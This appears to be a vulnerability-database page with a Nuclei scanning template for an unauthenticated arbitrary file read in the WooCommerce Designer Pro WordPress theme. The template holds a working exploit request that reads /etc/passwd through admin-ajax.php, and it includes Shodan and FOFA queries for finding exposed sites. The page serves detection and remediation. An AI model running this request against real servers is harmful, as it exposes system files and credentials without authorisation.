/Vulnerability Library

WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read

CVE-2025-10897
Verified

Description

WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.

Severity

High

CVSS Score

8.6

Exploit Probability

2%

Published Date

April 23, 2026

Template Author

0x_akoko

CVE-2025-10897.yaml
id: CVE-2025-10897

info:
  name: WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can read sensitive files, potentially exposing database credentials and other critical information.
  remediation: |
   Update to the latest version beyond 1.9.28.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-designer-pro/woocommerce-designer-pro-1928-unauthenticated-arbitrary-file-read
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-10897
    epss-score: 0.01817
    epss-percentile: 0.76713
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wc-designer-pro"
    shodan-query: http.html:"wc-designer-pro"
  tags: cve,cve2025,wordpress,wp,wp-plugin,wc-designer-pro,lfi

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcdp_convert_resource_cmyk&url=file:///etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "success"
          - "base64"
          - "cm9vdDp4OjA6MDpy"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b1077e29671284a7b2dfe00031c0de8106c61239f3c7171ab0c806b5a343d9a1022100af8185bb22e1ae5db74c4f42c83af183bbda0c8602c905fb08003a2d6a7fba11:922c64590222798bb761d5b6d8e72950
8.6Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CVE ID:
cve-2025-10897
CWE ID:
cwe-22

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-designer-pro/woocommerce-designer-pro-1928-unauthenticated-arbitrary-file-readhttps://nvd.nist.gov/vuln/detail/CVE-2025-10897

Remediation Steps

Update to the latest version beyond 1.9.28.